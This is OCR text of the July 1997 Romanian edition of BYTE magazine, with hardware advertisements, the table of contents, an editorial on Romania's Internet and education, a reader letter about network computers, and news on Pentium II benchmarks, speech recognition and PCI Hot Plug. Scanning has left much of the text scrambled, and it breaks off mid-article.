a 95.25... SED eee oe oe — yy 3 CE si wes EVEQDETEECE E Visual Objects 2.0 Fa | = i [le IntranetdelaSun ae Îi Locuinţeinteligente | a Magazine de date i on Confruntare MMX: Pentium vs. K6 13 interfete din noua generatie permit accesul usor la Net Valabil la 31.12.1997 : Retelele virtuale private reduc i sea ar Pisa Acasa costurile pentru acces RO, 4300 Tg. Mureș, Cp 172 OP 1 L APROBAT R.A.P.R. Nr. 103/DC/040/1997 PROMOȚIE | EXTRAORDINARA VARA | EPSON Saiz Color 500 Tomsa La fiecare imprimantă EPSON Stylus Color 500 primanta Ink-Jet color A4 Seas in tehnologie MULTI LAYER PIEZO pe care o cumpăraţi primiţi GRATUIT: Imprimare pe hârtie, folie sau autocolante î : @ 2 folii de transfer termic mn EaE e Creative Design Pack Software ppm monocrom : e Un tricou EPSON 720 x 720 dpi (orizontal x vertical) Cu foliile de transfer și software-ul special pentru Casetă cu 100 coli cu alimentare automată ar) grafice va puteti concepe și imprima singuri cu câte o coală; propriile dumneavoastră tricouri! alimentare manuală ADRESAȚI-VĂ CHIAR ACUM CELUI MAI APROPIAT DEALER EPSONI! Pentru informaţii suplimentare: Tel. 230 03 14, Fax: 230 03 13 SIMBOLUL TEHNOLOGIEI EPSON’ ThinkPad Microsoft” ÎNHERE.DO YOU. MANI TO.GO TODAY A Authorized Distribution Partner/ { DSP for Romania jeraţi Il lana tif “ lex BIT. Made in Romania Lipscani 102, Bucuresti Tel: 3122360/6137282 Fax: 3122630 Mierosotft Hot Line: 9120948 Business Partner mi eee Hi) COPYING FAXING PRINTING COLOUR at Ba SCANNING si a a.) on DOCUMENT DIGITAL CUSTOMER SATISFACTION MANAGEMENT PHOTOGRAPHY IN IMAGING ba . VIN LASERELE | upă 15 ani de experiență în tehnologia laser, Minolta lansează acum o nouă linie de imprimante. Arată ca și cum ar veni GI s patrol OSII SE OI hus. oC up OOS COT jumătate dir spățiul la. câre v-aţi fi. astepiat; Oo Pe Mile ee letă IMPRIMANTA. MINOLTA PAGEPRO 6 A FOST DESEMNATA "NUMARUL UNU IN TOPUL PRODUSELOR DIN ACEASTA CATEGORIE” IN EDIȚIA BRITANICĂ A PC MAGAZINE, NR. 10 DIN OCTOMBRIE 1996. de imprimante laser, de la unități abea EN OI IEI PANA -la 1Mpriimanre ae refveao Tull COLOL1OaTS avănd procesoare RISGONGCOPrDOTrdte- Care permiti. o. vileză de. Impliilmare. nemdaiinralntta pana acum în univers. lată ceea ce numim noi imagine dincolo de imaginație. Imprimante Minolta PagePro Minolta România S.R.L., Șoseaua Olteniţei nr, 35-37, sector 4, București 79656 Fax: 01/330.25,47 PERFORMANŢEI www.salient.ro SALIENT Group București: Calea Floreasca nr. 242 Tel: 01-2305791, 2321045 Fax: 01-2321045 Timișoara: Piaţa Timișoara 700 nr. 1 Tel: 056-135568, 201041, 201042 Fax: 056-190464 AMERICA 7ECHNOLOGI a as i 2 4 Net Ware Approved SCO SOFTWARE COMPATIBLE au ARANTIE | SALIENT | SALIENT « STANDING OUT in Computer & Networking Technology re “CD-Rom. Dacă aveți în vedere nternet http://www.imation.com i pentru aţă ON este lider mc RE | edii magnetice i N IMATION [91071 70) A eared tel:O92-200722 fax:O1-3129302 4 > Sun mi crosystems i Network Computing „. Informatica Secolului XXI (CA SA JAVA „ROMSYS sa Calea Floreasca 169 BUCUREȘTI Tel: 230.08.10 Fax:230.08.15 lulie 1997, vol. 3, nr. 7 De Tom R. Halfhill Interfața utilizator este pe cale să sufere cea mai mare revoluţie din '84. Să ILLUSTRATION: VICTOR GAD © 1997 Data Mining Servicii de retea GSM de la birou În curând, ultimele stan- Unnelte mai intuitive ajută darde europene GSM vor managerii să ia decizii mai oferi mai multă inteligență potrivite în afaceri. pentru serviciile telefonice. O afacere privată virtuală De Mike Hurwicz În sfârșit o modalitate de economisire cu Internet: rețelele virtuale private. 6 BYTE Romania IULIE 1997 Atentie cumparatori din magazine de date De Karen Watterson De sus in jos sau jos in sus, con- struirea unui magazin de date oferă informaţii valoroase. JDBC De Pito Peter și Stelian Vultur Interfete Java care permit accesul la bazele da date.. EDITORIAL O = oO » © INBOX as = Teste Pentium II - 300MHz12 Vorbire naturala 12 Aparate foto digitale 15 EVENIMENI REPORTAJ Pe plaiuri catalane De Romulus Maier 21 DOSAR MESE ROTUNDE LA CERF'97 Schimbările tehnologice și școala în România 69 Internet în România 75 WEB MASTER Programare CGI în Perl 79 De Peter Csaba LAB REPORI me SOFTWARE 6 Deeditorii Studiem 10 sisteme Pentium — „care oferă tehnologie MMX SEAN AC Cărțipe WEB 83 De Cristian Matei PREZENTĂRI WordPerfect de la Corel 86 Produse Minolta 87 Staţia desktop 02 89 Intranet în oferta Sun 91 Visual Objects 2.0 97 Locuinţe inteligente 103 FUNDAMENTE BAZE DE DATE Utilizarea Web cu baze de date vechi 23 De Alexa Bielefeld, Rick Martin, si Brian Wachter Salvo va permite sa utilizati protocoale pentru acces la mainframe. UC Inima PC-urilor miniaturizate 25 De Lyle Supp Procesorul Hitachi SH-3. PROGRARE API de la Concert devine multi-platformă 27 De Justin Morgan lată o modalitate rapidă de a muta aplicaţii Mac-OS la Win- dows şi Unix. SISTEME DE OPERARE JavaOS: Client sărac, servicii bogate 29 De Charles Mirho si Tom Clements Java OS ocupă puţină memo- rie, dar concepţia orientată reţea permite accesul la servicii complexe. REȚELE Siguranţă pentru ATM: partea a Il-a 31 De Jeffrey Fritz Cum realizati redundanta prin emulare LAN şi configurare adecvată pentru switch şi ruter. „ Animaţi situl propriu de Web Clasele java.net.* 107 Fundamentele comutării 113 FORBES De gustibus 119 sins CE-l NOU Monitor plat Hitachi 123 „ Aplicaţii Web disponibile | Aplicaţii Solaris 124 CC. Oracle 8 124 „De David Seacbrist şiStephenPlatt. —_— Terminologia noastră 125 De Dan Matei COMENTARIU Cresteti si va inmultiti 127 De Dan Iancu ULTIMA Finlanda si viitorul viitorului Europei 130 De Iosif Fettich CASETA REDACŢIEI DIRECTOR (GENERAL: TEHNOREDACTARE: Romulus Maier (rmaier@agora.ro) Reman Laszlo, Valics Lehel DIRECTOR EXECUTIV: ADMINISTRAȚIE: Ingrid Maier Adrian Pop (adipop@agora.ro) Marxenne: Gabriela Bucsa, Annamaria Pascu DIRECTOR EDITORIAL: (CONTABILITATE: Pap llona Mircea Sârbu (msarbuQagora.ro) Secretariat: Rodica Fettich REDACTOR ȘEF: DISTRIBUȚIE: Ștefan Curtifan, Darvas Attila (adarvas@agora.ro) Doina Cesa, Natalia Vanau SECRETAR GENERAL DE REDACŢIE: REPREZENTANȚĂ BUCUREȘTI: Daniel Moldovan (dmoldovan@agora.ro) Daniela Pastramă, tel: (01)-3309281 REDACŢIA: fax: (01)-3309285 Mircea Sabau (msabau@agora.ro) C.P. 94 0.P. 49 Bucuresti REDACTORI ASOCIAȚI: LS.S.N.: 1223-9801 losif Fettich (ifettich@agora.ro) TIPARUL: S.C. Infopress S.A., Cristian Mateescu (mateescu@agora.ro) Odorheiu Secuiesc, LA ACEST NUMAR AU MAI COLABORAT: Tel: 066-216483 Cristian Matei (cmatei@agora.ro) EDITURA: Computer Press Agora s.r.l., Harrison Forbes (Chicago); C.P. 172 - 1, 4300 Tirgu Mureș Péter Csaba (Târgu-Mureș); TELEFON: (065) 16.65.16, 16.62.57 Dan lancu (Boston); Fax: (065) 16.62.90 Veres Viktor (Targu-Mures); BBS: (065) 21.07.80 Roxana Marin (Bucuresti); (8N1, 14400 bps, login: bbs) Istvan Laszié (Oradea); E-MAIL: redactia@agora.ro Peter Corcoran (Irlanda); WEB: http://Awww.agora.ro/ Nicoleta-Corina Pelin (Bucuresti); Prides ot Sldcive wtactaloe dvi: cls cable Ga să să Cristian-Florentin Pelin (București); încadreze în profilul revistei si să nu fi fost deja publicate. Pito Peter (Târgu-Mureș); Expedierea unui manuscris implică acceptul autorului pen: Stelian Vultur (Târgu-Mureș); tru publicarea lui. Manuscrisele nu se restituie. Redacţia își Dan Matei (București); rezervă dreptul de a edita și publica mesajele e-mail în care CORECTURA: nu se specifică explicit că nu sunt destinate publicării. Aurora Laslo COPYRIGHT: Materialul editorial din BYTE Magazine USA sau National Software Testing Laboratories, Soft- ware Digest sau PC Digest tradus și retipărit în acest număr aparține companiei McGraw-Hill, Inc. Copyright 1997. Toate drepturile sunt rezervate. Publicat cu acordul McGraw-Hill, Inc., Avenue of the Americas, New York, New York 10020 USA. Reproducerea în orice formă, în orice limbă, integral sau în parte, fără permisiunea scrisă a McGraw-Hill, Inc., este interzisă. BYTE, National Software Testing Laboratories, NSTL, Software Digest, PC Digest și InterMark sunt mărci înregistrate McGraw-Hill, Inc. IULIE 1997 BYTE România 7 8 BYTE Romania e 4 iulie, Ziua Independentei SUA, cercetatorii de la NASA au reusit sa plaseze pe planeta Marte o stație trimisă in cadrul misiunii Mars Pathfinder, misiune condusă de JPL (Jet Propulsion Labora- tory: http://mpfwww.arc.nasa.gov/de- fault.html). De pe statia Sagan Memori- al, vehiculul Sojourner Rover isi cauta acum calea pe Planeta Rosie. $i noi, cei ca- re suntem conectati la Internet, putem ur- mari drumul parcurs de Sojourner, ima- ginile trimise de statie, starea vremii pe Marte si obstacolele care stau in calea ve- hiculului. Putem admira realizarile tehno- logice de vârf, dar nu trebuie să uităm nici de problemele existente, mai apropiate de noi. Sojourner, plasat în România ar descoperi multe lucruri surprinzătoare poate pentru echipa de la JPL. În acest număr veţi putea citi în dosarul BYTE România punctele de vedere ale unor personalităţi avizate, despre două domenii fără de care mult discutata Soci- etate Informațională de la noi nu va putea exista. Este vorba de educaţie si Internet şi de posibilitatea de utilizare a noilor tehnologii educaţionale şi de comunicații în condiţiile existente în România. Ser- viciile Internet sunt sortite succesului, deşi dinamismul furnizorilor introduce o anu- mită neclaritate privind structura ofertei. Multe depind de legiuitorii țării, de com- paniile de telecomunicaţii, de bănci şi ins- tituţii care mai trebuie să descopere facili- tățile serviciilor oferite. Sojourner ar constata infrastructuri în formare, simi- lare celor din alte colţuri ale lumii, servicii similare, web-masteri competenţi şi lup- ta lor cu lipsa de înţelegere a societăţii. Tehnica de calcul și comunicațiile nece- sită un efort de înţelegere pe care prea puţini încă doresc să-l facă. Învățământul este Cenușăreasa soci- LULIE: 19/97 Calea etăţii. Unii visează la integrare europeană, dar fără o societate educată care benefici- ază de un sistem de învățământ modern, acest lucru îmi pare doar iluzie. Poate noua lege a învățământului mai schimbă ceva, dar cadrele promovate de răposatul PCR (fără aprobarea căruia nu puteai să intri la doctorat) mai ocupă multe funcții de decizie în structura sistemului de învă- țământ, structură în care nu s-a făcut o re- formă reală. Asemenea indivizi pot bloca fluxul corect de informaţii şi iniţiativele (de genul realizării SunSite la UPB). Sojourner ar putea furniza informaţii de necrezut pentru cercetătorii JPL, formaţi în alte condiţii. Deşi nu este sigur, pentru că specialiştii tineri pleacă în continuare. . şi unii ajung să fie apreciaţi (de către Microsoft, de exemplu) în America. Prob- lema este serioasă, şi discutând cu direc- torii câtorva firme serioase de la noi, au zis că preferă să angajeze personal de spe- cialitate cu vârsta peste 40 de ani, pentru că tinerii pleacă după un an, doi, după ce învață concret produsele firmei. Să privim puţin spre viitor, păşind cu grijă, ca să nu cădem într-una din nenu- măratele gropi existente (strada pe care locuiesc a fost din nou săpată, pentru a treia oară în ultimii ani, şi arată ca imagi- nile transmise de Sojourner). Interfetele de calculator vor suferi o schimbare revo- luţionară. Suprafaţa de lucru obișnuită GUI se va transforma în NUI, suprafaţa utilizatorului de rețea. Aplicațiile vor fi de rețea și tendinţa este clara. Cover Story prezintă noile suprafeţe. Rețelele virtuale private sunt interesante pentru cei care lucrează la firme cu sedii aflate în multe locuri unde există posibilitate de conec- tare la Internet. Există în acest număr și un articol despre soluţiile intranet oferite de Sun. Magazinele de date sunt utile chiar şi pentru firme mai mici, unde se doreşte fundamentarea deciziilor manageriale şi - : posibilitatea de previziune şi modelare. Dar găsiţi în acest număr şi articole despre MMx şi despre aplicaţii Web, în Lab Re- port. Sau aplicaţii Java şi JDBK. Un alt su- biect interesant, prezent în revistă este cel al caselor inteligente. Reţeaua realizată la domiciliu vă poate oferi confortul dorit, siguranţă şi economie de energie. Aceste rețele de domiciliu din casa dumneavoas- tră vor fi controlabile şi de pe Web. Nu avem încă oraşe digitale, dar există pro- „iecte. Casa inteligentă, orașul inteligent și Internet sunt vise pe cale de a fi realizate. Nişte versuri mai pesimiste, citite pe vremuri, afirmau: „În temeiul muntelui / Cale nu-i cărare nu-i“. O misiune Path- finder ar putea poate oferi informaţii utile. Este însă nevoie de o legislaţie modernă, de programe guvernamentale serioase, făcute împreună cu cei care lucrează efec- tiv în domeniul calculatoarelor şi comunicaţiilor şi au realizări efective, pen- tru a găsi căile dezvoltării viitoare. Şi de initiative locale. Ml Darvas Attila adarvas@agora.ro OREALISIVI™ Gen II RIVALUL STABILIŢI NOI STANDARDE DE CALITATE CU IMPRIMANTELE CANON BUBBLE JET Cu seria de imprimante Canon bubble-jet BJC-240, BJC-4200 şi BJC-4550 şi folosind kit-ul opţional Canon Photo, nu veţi mai putea pl deosebi realitatea de imaginea i imprimată. Imprimantele bubble- jet, concepute şi dezvoltate de Canon, oferă performanţe de invidiat atât din punct de vedere al calităţii imprimării cât şi al vitezei, eficienţei şi silenţiozităţii în funcţionare. Indiferent dacă sunt folosite în particular sau în medii organizate de lucru, pentru reproducerea de documente alb/negru sau color, în volum mai mic sau mai mare, rezultatele sunt la fel de remarcabile. Mai mult. Pentru a reproduce cât mai fidel imagini, nu trebuie decât să folosiţi kitul opţional Canon Photo, conceput special pentru seria de imprimante Canon bubble- -jet. Filozofia care îi stă la bază este simplă: un print al unei fotografii trebuie să arate ca o fotografie. Incredibil? Da! Imposibil? Nu! Sistemul Photorealism, brevetat de Canon, asigură o reproducere fidelă şi fără granulaţie a tonurilor de culoare şi dă culorii adâncimea necesară unui rezultat cu adevărat apropiat de realitate. Nuanţe subtile, cum ar fi tonurile pielii, sunt redate perfect datorită acurateţii punctului de imprimare şi a cernelurilor special concepute pentru kit-ul Canon Photo. NUMAI CU O IMPRIMANIA CANON PUTETI Reprezentanta Romania FACE MAI World Trade Center Bucuresti MULT! zitiei 2, intr. D, birou 1. He Ma 3 38 54, fax. 01-223 42 36 Wholesalers: Bucuresti: ROMUS tel (01)230 16 50 eTORNADO SISTEMS tel (01) 667 28 23; Constanta: TORNADO SISTEMS tel (041) 618 580 Resalers: Bucuresti: e BLUE RIDGE INT. tel (01) 210 68 28 eDECK COMPUTER tel (01) 211 84 03 eDIGITAL PRO SYSTEM tel (01) 250 65 27 eKT COMPUTERS tel (01) 311 19 62 e ORCAS BIROTICA tel (01) 210 30 93 eRAFFLES COMPUTERS tel (01) 311 26 82 eSOTA tel (01) 232 0388; Arad: ELECTRONIC SHOP tel (057) 289 642; Bacău: MICROSISTEM CONEX tel. (034) 117 411; Baia Mare: MONS MEDIUS tel (062) 434 541; Brasov: SYSTEM tel (068) 318 663 e + COSIDOR COM tel (068) 310 537; Cluj: eSOFT GROUP tel (64) 430 000 e GENETYP tel (064) 190 787; Craiova: DECAROM SERVICE tel (051) 132 954; Deva: TOP TECH tel (054) 213 871; Iaşi: UNIVERSAL R.X. tel (032) 212 660 e OPEN SYSTEM tel (032) 225 141; Oradea: TONER tel (059) 430 665; Pitesti: OPEN SYSTEM tel (048) 219 000; Sibiu: ECO COPY & PRINT tel (069) 213 189; Suceava: ASSIST SOFTWARE tel (030) 521 100; Timisoara: ASSITEC tel (056) 190 337 e + EASTERN DIGITAL tel (056) 221 443; Zalău: MAGIC COMPUTER tel (060) 616 099 Se apropie concediile. Cei ca- re lucrează sunt ocupați să ter- mine înainte de plecare activi- tăţile începute. IC (Intranet Computer) Citind un articol apărut în re- vista BYTE, am fost neplăcut impresionat de concepţia unui reprezentant al firmei ORACLE despre Network Computer. Acesta propune un sistem „servere şi terminale NC, total dependent de buna funcţionare a rețelei, de fur- nizorii soft-ului (integral ORACLE „precum se pare) şi eventual, de toată ierarhia de- cizională a firmei unde lucrea- ză utilizatorul. Deci mai sunt admiratori, plasați în funcţii importante, ai sistemelor hi- per - centralizate şi dictatori- ale, care ucid iniţiativa şi crea- tivitatea. Nici alte „avantaje“ “ale NC nu m-au convins: - costul redus obţinut prin: - utilizarea de componente neperformante va duce la o rapidă uzură morală şi depăşire tehnică - simplitatea internă „adică lipseşte hard discul şi lecto- rul de dischete face posibil un dezastru în cazul căderii reţelei și ne dau un calcula- tor total nemobil. - gestionarea centralizata a fi- şierelor, cu utilizarea unui sistem unic de programe face dificilă utilizarea de soft independent, mai per- formant. După prima reacție de indig- nare, m-am gândit la o soluţie: un calculator care să aibă mul- te din avantajele NC (mai pu- ţin costul redus),dar care să corespundă performanţelor tehnice actuale și să încurajeze iniţiativa individuală și diver- sitatea (multi-sistem, multiple programe, calculator flexibil cu multe utilizări). L-am de- numit după modul principal de folosire IC. Așadar iată fişa tehnică a IC-ului: Cerinte standard: “-Display: L.C.D. matrice acti- va de înaltă rezoluţie (1400 x 750; cel puţin 258 culori); - R.A.M. de mare capacitate (>=32M); - Monoprocesor performant - fără harddisk - sistem audio pentru sistem de comanda vocal (+difu- zoare,microfon); - touch screen (utilizabil şi la schiţare cu „degetele libere“); - 2 sloturi PCMCIA 1 ; - memorii flash RAM sau ROM care conţin sistemul de operare, aflate pe una din plăcile PCMCIA 1 - memorie flash RAM internă pentru aplicaţii. Memoriile specificate anterior trebuie să fie de capacitate maximă disponibilă (>= 128 M). - port specializat conectare prin cablu la reţeaua infor- matică şi alimentare elec- trică (conexiune unică, ra- pidă, universală - la _ dok-station-ul I.C.-ului, iar in sala de sedinte la portu- rile pentru participanti. - antena (internă) pt. conec- tare la rețeaua intranet- radio a întreprinderii; - port conectare tastatură externă; - porturi universale: 2 I.R. (infraroşu) - porturi pt.telefon (orice tip) - porturi seriale,paralele etc. - priză alimentare c.c; - baterii de acumulatori cu sis- tem avansat de economisire a energiei. Cumpărătorii potențiali: Firmele care doresc un up- grade al calculatoare vechi si care doresc o conectare în reţea ultra-flexibilă (care nu este dependentă de o unică fir- mă specializată); Toţi aceia care doresc un calculator N.C. mai performant sau un Lap- Top uşor. Poate fi utilizat în: Locurile 10 BYTE Romania IULIE 1997 fixe de muncă din întreprin- dere, depanări, notarea, schi- tarea sau înregistrarea audio (eventual și video) a ideilor în afara orelor de lucru obișnuite (navete, acasă), verificarea primară a proiectelor noi, ser- verul de rețea făcând doar procesările complicate de da- te, prezentări produse, loc de muncă mobil (întreprinderi fără sediu, care se mută, care au personal mobil). Avantaje: Reducerea număru- lui de periferice într-o între- prindere la minim. Promo- vează programele care au un sistem de comandă avansat (voce, touch screen ) accep- tând însă şi terminalele clasi- ce: tastatură, mouse, etc; În- curajează cooperarea, lucrul în rețea (mult mai eficient ); Comparativ cu N.C., are posi- bilitatea de a rula orice pro- gram de P.C. sau de a schimba uşor sistemul de reţea; Rezo- luţie înaltă a display şi compo- nente care asigură performan- țe grafice bune; Calitatea înaltă a componentelor (nu este un P.C. ieftin) îl recoman- dă ca o investiţie de viitor în această lume a informaticii, cu evoluţie accelerată. loan George Mateescu rmateescu @ice.felix.ro Conceptia ORACLE despre NCa stârnit multe contro- verse. Scrisoarea dumnea- voastră dovedește totuşi că nu aţi înțeles corect ceea ce se 1UUĂ dorește cu un astfel de echi- pament. Dar dacă aţi fi facut service sau administrare re- tea, v-aţi fi dat seama cât este de distructivă şi periculoasă abordarea în stilul: să facă toți ceea ce vor. Pot exista desigur, grupe de creaţie şi proiectare, dar NC în mod sigur nu este pentru ei. În schimb, este foarte bun acolo unde aplicaţiile sunt bine def- inite și utilizatorii au atribuţii precise. Este mic (client su- plu), versatil şi ieftin. Serve- rul poate oferi în condiţii de siguranță serviciile realizate pentru NC. NC se bucură deja de succes (de exemplu, la firmele de asigurări sau la bănci). Propunerea dumnea- voastră de IC seamănă mai mult cu tentativa de NetPC pentru care nu prea văd vii- tor. Un asemenea IC nu are segment clar de piaţă, cei care au activităţi creative, com- plexe, vor lua un sistem per- formant, cei cu multe apli- caţii la firme vor adopta PC în rețea, cei mobili, un laptop dacă au bani, sau NC dacă au activități clare (nu este pen- tru jocuri). Regret că vă sim- țiți lezat de concepția NC, dar dacă urmăriţi şi eficienţa economică a activităţii sunt sigur că veţi opta pentru NC, dumneavoastră sau conduce- rea firmei la care lucraţi. Darvas Attila, adarvas@agora.ro Noua imprimantă personală - HP LaserJet 6L. La dispoziţia ta. Ca oricărui majordom care se respectă, noii LaserJet GL nici prin gând nu-i trece să te lase să aştepţi. Te serveşte cu o viteză de 6 pagini pe minut în orice configuraţie a PC-ului la care te-ai putea gândi. De asemenea, face echipă excelentă cu gama de consumabile Hewlett-Packard proiectate pentru cerinţele tale de tipărire cele mai variate. Iar cu noua imprimantă HP LaserJet 6L la dispoziţia “= ta, singurul lucru care îţi rămâne de făcut este să iei foaia de hârtie din tavă. IMPRIMANTELE HP. HÂRTIA ESTE ÎN SLUJBA TA. S & T România — HEWLETT-PACKARD Service Center: 330 73 00 -BBS pentru suport tehnic HP: 330 72 21 HEWLETT® PACKARD [e PARTENERI DIRECȚI Bucureşti AMERILEX 223 4323 AREXIM 311 1676 Q’NET 211 7855 SYSTEM PLUS 210 8565 MBL Computerland 230 4032 THEMA 230 5961 Timisoara Bridgemen (056) 201 360 Cluj uj Sistec (064) 190 282 RESELLERI Bucuresti Alsys Data 411 2626 CIPRO 220 0400 DECK Computers 312 7811 Flamingo 222 4643 Lowtec 240 3698 Orcas Birotica 211 7780 Romtronic 312 1412 Software ITC 633 4471 Brasov „ICO Computers (068) 151 650 Cluj Napoca Microinformatica (064) 438 328 Constanta GMP (041) 619 222 Galati SPARCO (036) 465 270 Iasi asi LASER COM (032) 122 589 Radix (032) 210 423 Ploiesti PLATIN Systems (044) 191 818 Targu Mures Electro Orizont (065) 168 807 Timisoara NETRING (056) 132 894 Stiri & Noutăţi Primele rezultate pentru proce- sorul Pentium II la 300 MHz Ultimul procesor Pentium II al firmei Intel atinge frecventa de 300-MHz xact cum ne aşteptam, testele noastre efectuate asupra unui PC, având un procesor Penti- um II la 300-MHz, au scos in evidenta performantele ultimului proce- sor al firmei Intel, în comparaţie cu linia procesoarelor x86 la 266-MHz a aceleiaşi firme. Sistemul Pentium II la 300-MHz pe care l-am testat, a obținut scorurile 5.0 şi 4.24 în testele BYTEmark pentru întregi, respectiv pentru virgulă mobilă, în com- paratie cu 3.8 şi 4.5 obţinute de un sistem Pentium la 266-MHz. Pentru câteva ore, BYTE a reuşit să aibă acces la o placă de bază Tahoe 2 ATX a fir- mei Tyan, cu procesor dual, echipată cu o unitate centrală de prelucrare la 300 MHz (cu magistrala memoriei cache L2 rulând la 150 MHz, în timp ce magistrala sistemu- lui funcţiona la 66 MHz). Din nefericire, nu am avut suficient timp pentru a rula suita noastră de teste Photoshop pe acest sistem. Persoanele oficiale ale firmei Tyan (408- 956-8000;http://www.tyan.com), care au construit, printre altele, placa de bază Ta- hoe, ce suportă ultimul procesor Pentium II al firmei Intel, au declarat că noul model Tahoe al plăcii de bază îmbunătăţeşte per- formanțele sistemului de la 3 până la 5 pro- cente. Așa cum ne aşteptam, suita de teste BYTEmark şi Bapco Sysmark pentru NT Aplicații rapide la 300 MHz 266 MHz Pentium II 300 MHz Pentium Il 0 50 100 150 200 250 300 Testul Sysmark pentru NT al firmei Bapco măsoară performanţele întregului sistem. Sistemul 266 MHz are 64 MB RAM, Diamond Multimedia Stealth 3D 2000 (4MB RAM) și Maxtor 8512A EIDE. Sistemul 300MHz are 32 MB RAM, Matrox Millenium (2MB WRAM) și Quantum Atlas Ultra SCSI-3. 12 BYTE Romania “IULIE 1997 Cinci calculatoare Pentium 90-MHz Pentium 200-MHz Pentium 200-MHz Pentium Pro 266-MHz Pentium Il 300-MHz Pentium II 0 1 2 3 4 5 BYTEmark măsoară performanţele UC, nu toate performanţele sistemului 4.0, au reliefat performanţele sistemului, față de vechile sisteme Pentium II. Siste- mele dotate cu versiunea de 300 MHz a procesorului Pentium vor fi disponible cel târziu în această vară. — Dave Andrews Vorbirea naturala De ani de zile, industria de calculatoare si dactilografii inversunati au asteptat ziua in care oamenii să poată folosi un sistem de recunoaştere a vocii, pentru a comunica cu propriul lor PC, fără pauză între cuvinte. Aparent această zi a sosit, de ea bucurân- du-se mulţi operatori de culegere a datelor, secretari și oameni cu anumite deficiențe. NaturallySpeaking, un nou program al firmei Dragon Systems (617-965-5200; http://www.naturalspeech.com), reprezin- tă prima generaţie de sisteme destinate dic- tării continue pentru Win 95 si NT. Cu _NaturallySpeaking, firma declara ca, in timpul dictarii documentelor sau comenzi- lor spre calculator, nu mai sunt necesare pauzele intre cuvinte. Ca şi multe alte pachete de recunoaștere a vocii, NaturallySpeaking rămâne depen- dent de vorbitor: Pentru a recunoaşte bine vocea, software-ul trebuie antrenat. Persoa- nele oficiale ale firmei Dragon nu au dezvă- luit exact tehnica folosită de ei pentru recu- noaşterea vocii fără pauză între cuvinte, ci doar au menționat că NaturallySpeaking foloseşte o nouă maşină de recunoaştere a Pronuntarea cuvintelor no! se face automat. Semnul „+“ indică un cuvânt nou. >, Acceseazd 200.000 de cuvinte + un dictionar de cuvinte. vorbirii în scopul creşterii performanţelor. Deşi NaturallySpeaking pare să conducă această cursă, competitorii firmei Dragon declară că în curând vor avea şi ei produse cu caracteristici similare de recunoaştere. „Cu toţii vom face cât de curând acest pas“, declara Mark Flanagan, vice preşedinte și director general al firmei Kurzweil Applied Intelligence, un alt important competitor pe arena recunoaşterii vorbirii. „Din ceea ce am văzut, firma Dragon a făcut un pas înainte în privinţa dictării continue. Dar ea a anunţat în primul rând un software în versiune alfa. Cât timp va dura până să apară un produs acceptabil 2“. Firma Dragon a declarat că pri- ma versiune a noului produs va fi disponibilă la sfârşitul lunii iunie, la un preţ de 695$. NaturallySpeaking are nevoie de cel puţin un procesor Pentium la 133-MHz, progra- mul fiind mai rapid pe masini MMX. Software-ul necesită 32MB RAM sub Win 95, 48MB sub NT 3.51 şi 60 MB spaţiu li- ber pe discul hard. De asemenea, Naturally- Speak are nevoie de o cartelă de sunet stan- dard pe 16 biți sau un sistem de sunet intern, în cazul calculatoarelor portabile. Programul este livrat împreună cu un microfon. El are un vocabular activ de 30.000 de cuvinte rezi- dent în memorie şi un dicționar de rezervă pe disc ce conţine 200.000 de cuvinte. Având această caracteristică de recu- noaştere continuă pe platforme Win 95, acest produs pare a fi primul din gama pro- duselor de uz general, dar totodată în afara altor produse specializate de dictare con- tinuă disponibile deja pe piaţă. „Firma IBM a avut produse pentru vorbirea continuă încă din anul 1996, numite MedSpeak și fiind destinate pieţei de radiologie,“ spunea Scott-Ker, purtătoarea de cuvânt a firmei Pentru ca softul să înveţe cuvintele rare, acestea tre- buie doar rostite. Frazele rostite pot fi înlocu ite automat cu un text alter influența competițiilor: PC vs. TV vs. automobil În concordanță cu un sondaj recent, mulți americani par să ofere o mai mare importanță calculatoarelor decât televizoarelor, dar mai mică decât automobilelor. În sondajul organi- zat de Luntz Research Companies la începutul acestui an, la întrebarea care dintre calcula- tor sau automobil va fi mai important pentru viaţa lor în anul 2007, 55% dintre oamenii chestionați au ales automobilul, 41% calcula- torul, iar 4% nu au știut sau au refuzat să răspundă. Într-un alt sondaj, trei din cele patru generaţii de americani au declarat că rețelele și calculatoarele au avut un impact mai mare de-a lungul dezvoltărilor tehnologice în ultimii 20 de ani decât televizorul (pentru mai multe informaţii, vezi diagrama). Doar pensionarii au considerat că televiziunea prin cablu și video- casetofoanele au avut un impact mai mare. 550% 22% 22% 38% 52% IBM pentru sistemele de recunoastere a vorbirii. ,,Dar dictionarul de 25.000 de cu- vinte al produsului MedSpeak este perso- nalizat pentru aplicatii specifice, in timp ce NaturallySpeaking este destinat utilizarii în activităţile de zi cu zi precum şi în alte activităţi la domiciliu. Noi am utilizat infor- maţia câştigată de la MedSpeak intr-un pro- dus mult mai general, ce va fi lansat spre sfârșitul acestui an.“ Recent, persoanele oficiale de la firma IBM au introdus un sistem de recunoaştere a vorbirii continue în limba chineză la Bei- jing şi Hong Kong, dar prezentarea soft- ware-ului făcută de firmă a constituit doar o demonstraţie tehnologică. Un purtător de cuvânt spunea că, până la sfârşitul acestui an, firma IBM va anunţa preţul, data pune- rii în circulație precum şi alte detalii. Firma Motorola declara că primele produse bazate pe propriul sistem de recunoaștere a vor- birii continue vor fi puse în circulaţie spre sfârşitul anului 1997. Persoanele oficiale ale firmei Kurzweil sugerează că vor putea oferi la sfârşitul acestui an o tehnologie pentru dictarea continuă de uz general. Dacă NaturallySpeaking funcţionează aşa cum spune firma Dragon, atunci acest program va reprezenta un pas tehnologic important, o alternativă la clasicele tasta- turi, utilizabilă de o categorie mult mai lar- gă de oameni. Pe măsură ce calculatoarele devin din ce în ce mai puternice, preţul memoriilor scade, iar cartelele de sunet și aplicaţiile de generare a vorbirii devin un lucru obişnuit, sistemele de recunoaștere a vorbirii se vor îndrepta spre fluxul princi- pal al tehnicii de calcul. — Joe Lazzaro Conectarea la cald va oferi o disponi- bilitate mai mare O nouă tehnologie va permite administra- torilor de servere PC să extindă, să actuali- zeze sau să schimbe cartelele adaptoare PCI, fără ca sistemele să fie oprite. Noul standard, specificatia PCI Hot Plug, va fi gata la sfârşitul primăverii, iar primul hard- ware compatibil cu noua specificaţie PCI IULIE 1997 BYTE România 13 LOT Sistemul PCI Hot Plug Soft de nivel înalt care cere SO-ului operații de adaj discontinue și primitive Ho Sistem de operare Adaptor Adaptor driver 41 me driver #n ? ? Platformă *, a ====%> Utilizator AP „===> Agent de gestiune Primitive Hot Plug Nivele software Nivele hardware este oferit de furnizorii de. O-uri). Primitivele Hot Plug sunt speci lug serviciul Hot PI y de regu fice cererilor driverului de 